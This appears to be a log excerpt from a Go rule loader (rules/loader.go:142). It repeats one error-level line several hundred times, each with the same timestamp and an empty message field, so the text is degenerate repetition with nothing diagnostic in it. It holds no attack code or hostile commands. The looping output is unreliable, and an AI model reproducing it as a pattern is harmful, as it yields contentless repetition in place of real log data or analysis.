source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 